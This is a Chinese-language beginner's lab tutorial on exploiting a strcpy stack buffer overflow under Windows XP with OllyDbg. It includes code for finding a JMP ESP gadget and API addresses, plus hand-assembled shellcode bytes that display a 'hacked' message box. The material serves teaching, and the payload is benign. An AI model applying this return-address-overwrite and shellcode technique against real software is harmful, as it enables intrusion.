测试环境
- 操作系统:WindowsXP
- 选用工具:VC6.0、OllyDbg
因为古旧的系统漏洞比较多,所以本人在VMware Workstation虚拟机上装了XP系统来测试,VC6.0是写代码用的,OllyDbg是测试用的,工具就自己去下载吧
具体测试步骤
一、编写缓冲区溢出的代码并执行
- 代码如下:
#include <stdio.h>
#include <string.h>
char name[] = "ABCDEFGHIJKLMNOPQRST";
int main()
{
char buffer[8];
strcpy(buffer, name);
printf("%s\n", buffer);
getchar();
return 0;
}
- 运行结果如下:
二、获取可执行文件
- 首先,在VC里,使用Win32 Release的方式组建代码,如下图,选择好组建方式,重新编译即可(如果没有这个选项,鼠标放在工具栏上,右键,在出现的窗口里把"组建"勾上就可以了
- 然后在项目目录下就会出现Release文件夹,里面的.exe可执行文件就是我们要使用OllyDbg来分析的对象
三、使用OllyDbg分析可执行文件
- 使用OllyDbg开始调试
- 打开OllyDbg,把上一步获取的.exe文件直接拖进去,就是用OllyDbg打开了.exe文件
- 调试常用快捷键如下:
· F2:设置断点,在光标定位的位置按F2键即可,再按一次则会删除断点;
· F3:加载一个可执行程序,进行调试分析,即打开文件;
· F4:程序执行到光标选定位置暂停;
· F7:单步步入,进入函数实现内,遇到CALL等子程序时回进入其中,进入后首先会停留在子程序的第一条指令上;
· F8:单步步过,每按一次只想一条反汇编窗口中的指令,越过函数实现,CALL指令不会跟进函数实现;
· F9:直接运行程序,遇到断点处,程序暂停;
· Ctrl+F2:重新运行到程序起始处,用于重新调试程序;
· Ctrl+F9:执行到函数返回处,用于跳出函数实现;
· Alt+F9:执行到用户代码处,用于快捷跳出系统函数;
· Ctrl+G:输入十六进制地址,在反汇编或数据窗口中快速定位到该地址处;
(注意:此处由于笔记本电脑的F1-F12都具有特定的功能,考虑到其优先级问题,在使用快捷键时要同时按住fn键,即使用f2时,应同时按下fn+f2,其他类似)
- 判定main函数的地址
- 使用快捷键f8单步运行,直到弹出运行窗口,此处即为main函数的位置,如下图,00401694就是main函数的地址,在此处按快捷键f2下一个断点
【分析:main函数的语句是call xxxx.00401005,说明会跳到另外的地址执行,正常的程序在执行完main函数之后,会跳回到main函数的下一个地址即00401699地址来继续往后执行】
- 进入main函数,分析call语句执行前后栈空间的变化
- 快捷键ctrl+f2重新调试程序,f9直接运行程序,遇到断点程序暂停,此时程序暂停在上一步下的断点处,即main函数调用处,f7单步步入,进入main函数内部
- call语句执行时会先将call语句的下一条语句所在地址00401699压入栈,存储在栈空间0012FF84处;
- 然后再jmp到call语句所在的00401005地址处。如下图:
- 分析溢出的程序对栈空间的影响
- 使用strcpy语句将name中的值复制到buffer[]里面之后,发现数据从地址0012FF78开始存储,buffer花粉的八个字节存储完毕之后,继续往相邻的空间进行覆盖,直到name中的内容全部存放完毕;如下图:
- 发现原本存放返回地址00401699的栈空间0012FF84被溢出的数据所覆盖,里面存放的是”MNOP”的Ascll码值504F4E4D。
- 继续f8执行
- 一直f8到main函数结束并返回,发现一片空白,继续f8单步运行,报错,而此处显示的内存地址与程序执行时报错显示的地址均为504F4E4D,即上一步存放在栈空间0012FF84处的”MNOP”的Ascll码值,这说明操作系统误把溢出在此处的数据当作返回地址进行了返回。如下图:
- 缓冲区溢出漏洞总结
- 溢出原因是因为输入了过长的字符,本身又没有有限的验证机制,于是导致过长字符将返回地址给覆盖掉,当函数需要返回时,由于地址是无效的,因此导致程序出错。
四、编写shellcode进行攻击
攻击思路:如果给一个有效的地址覆盖原有返回地址,让函数返回时跳到攻击者设计好的代码处,执行攻击者设定好的程序,就是构造出一个有效地址,该地址处指令可以跳转去执行让计算机执行的代码(shellcode),就可以进行攻击。
- 精准定位返回地址的位置
- 根据程序运行的错误提示,由于准备的是一长串不同的字符,那么查询ascll码表可知错误信息中的504f4e4d是”MNOP”的ascll值,因此可以定位
- 记录:char name[] = “ABCDEFGHIJKLXXXX”,XXXX处就是返回地址
- 寻找一个合适的地址,用于覆盖原返回地址
- 当main执行完毕时,ESP寄存器内容会自动变成返回地址的下一个位置,并且这种变化不受任何程序影响;
- 将XXXX编写成JMP ESP,利用ESP这个跳板进行跳转,转到想让计算机执行的shellcode所在地址处执行;
- 利用这一特性,可以将shellcode放到ESP指向地址处,即在返回地址处使其转到JMP ESP语句,此时的ESP自动指向栈空间的下一个位置,执行完JMP ESP之后,程序即跳转到ESP所保存的地址中去执行;
- 如果事先将shellcode入栈,那么跳到栈空间处执行时,执行的就是攻击者编写好的shellcode,即能完成攻击。
- 编写shellcode到对应的缓冲区中
- 查阅JMP ESP的机器码为FFE4,编写程序在动态链接库中查找JMP ESP的有效地址;查找代码如下:
#include <Windows.h>
#include <stdio.h>
#include <stdlib.h>
int main()
{
BYTE *ptr;
int position;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary("user32.dll");
if(!handle) {
printf("load dll error!");
exit(0);
}
ptr = (BYTE*) handle;
for(position = 0; !done_flag; position++) {
try {
if(ptr[position] == 0xFF && ptr[position+1] == 0xE4) {
int address = (int)ptr + position;
printf("CODE found at 0x%x\n", address);
}
}
catch(...) {
int address = (int)ptr + position;
printf("END OF 0x%x\n", address);
done_flag = true;
}
}
getchar();
return 0;
}
- 查找结果如下图:
- 明确攻击方式:这里只是简单攻击,就打算弹出一个MessageBox对话框,之后退出程序
- 编写程序在动态链接库中查找MessageBox和ExitProcess函数的调用地址;前者是用于弹出对话框,后者是用于退出程序,代码如下:
// 查找MessageBox
#include <Windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("user32");
//get user32.dll Address
printf("user32 = 0x%x\n", LibHandle);
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "MessageBoxA");
//get MessageBoxA Address
printf("MessageBoxA = 0x%x\n", ProcAdd);
getchar();
return 0;
}
// 查找ExitProcess
#include <Windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
HINSTANCE LibHandle;
MYPROC ProcAdd;
LibHandle = LoadLibrary("kernel32");
//get kernel32.dll Address
printf("kernel32 = 0x%x\n", LibHandle);
ProcAdd = (MYPROC)GetProcAddress(LibHandle, "ExitProcess");
//get ExitProcess Address
printf("ExitProcess = 0x%x\n", ProcAdd);
getchar();
return 0;
}
- 查找结果如下
- 记录查找到的有效地址,随便一个都可以用,本人在这里选取如下地址
jmp esp : 0x77e1f2c8 MessageBox : 0x77d507ea ExitProcess : 0x7c81cafa - 编写shellcode,代码如下:
char name[] = "\x41\x42\x43\x44\x45\x46\x47\x48"//填充到name[0]-[7] "ABCDEFGH"
//( x41是'A'的Ascll值的16进制表示,后面类似 )
"\x49\x4A\x4B\x4C" //填充到EBP "IJKM"
//就是之前找到的jmp esp的地址77e1f2c8
"\xC8\xF2\xE1\x77" //被覆盖到Return Adderss显示的位置
//从这里开始是shellcode
"\x83\xEC\x50" //sub esp,0x50 预留保护空间
"\x33\xDB" //xor ebx,ebx 相当于把ebx清零
"\x53" //push ebx
//push i n g 空格
"\x68\x69\x6E\x67\x20"
//push W a r n
"\x68\x57\x61\x72\x6E" //push "Warning"
"\x8B\xC4" //mov eax,esp
"\x53" //push ebx
"\x68\x21\x21\x20\x20"
"\x68\x20\x75\x70\x21"
"\x68\x47\x69\x76\x65" //push "Give up!!! "
"\x68\x21\x21\x21\x20"
"\x68\x63\x6B\x65\x64"
"\x68\x6E\x20\x68\x61" //\x68是push
"\x68\x20\x62\x65\x65"
"\x68\x68\x61\x76\x65"
"\x68\x59\x6F\x75\x20" //push "You have been hacked!!! "
//"\x68\x6F\x21\x20\x20"
//"\x68\x48\x65\x6C\x6C" //push "Hello! You have been hacked!"
"\x8B\xCC" //mov ecx,esp
"\x53" //push ebx
"\x50" //push eax
"\x51" //push ecx
"\x53" //push ebx
//就是之前找到的messagebox的地址77d507ea
"\xB8\xEA\x07\xD5\x77" //mov eax,0x77D507EA
"\xFF\xD0" //call eax 调用MessageBoxA显示对话框
"\x53" //push ebx
//就是之前找到的editprocess的地址7c81cafa
"\xB8\xFA\xCA\x81\x7C" //mov eax,0x7C81CAFA
"\xFF\xD0"; //call eax 调用ExitProcess退出程序
- 使用Ollydbg分析加入了shellcode的程序
- 代码如下:
#include <Windows.h>
#include <stdio.h>
#include <string.h>
// 这里加入上面写的shellcode!!!!!!!!
int main()
{
char buffer[8];
LoadLibrary("user32.dll");
strcpy(buffer, name);
printf("%s\n", buffer);
getchar();
return 0;
}
- 同样按照上面的步骤获取以Release组建方式获取的.exe可执行文件
- 使用OllyDbg打开该文件,同样的步骤:
f8找到main函数->f2下断点->ctrl+f2重新调试->f9执行到断点处->f7步入main函数,一直运行到name中的数据入栈,如下图:
- 此时可看到在原本存储返回地址的栈空间0012FF84处存储的是预设好的JMP ESP命令的有效地址0x77E1F2C8
- 继续f8运行,程序进行返回跳转之后(即跳出main函数之后)跳转到了77E1F2C8地址处,此处有一个jmp esp语句,而此时的ESP指向的地址是栈空间地址0012FF88;如下图:
- 执行完jmp esp命令后,就会跳转到地址0012FF88继续执行,而此处均为之前入栈的shellcode,那么就会顺序执行攻击者所编写的命令;如下图:
- 其中,将参数传入栈后,按照刚刚查找到的地址调用MessageBox函数显示对话框和调用ExitProcess函数退出程序。如下图:
- 最终程序的运行结果是:显示预设好的对话框,点击确定之后退出程序。如下图:
至此,攻击分析结束。
本人尚为初学者,欢迎交流。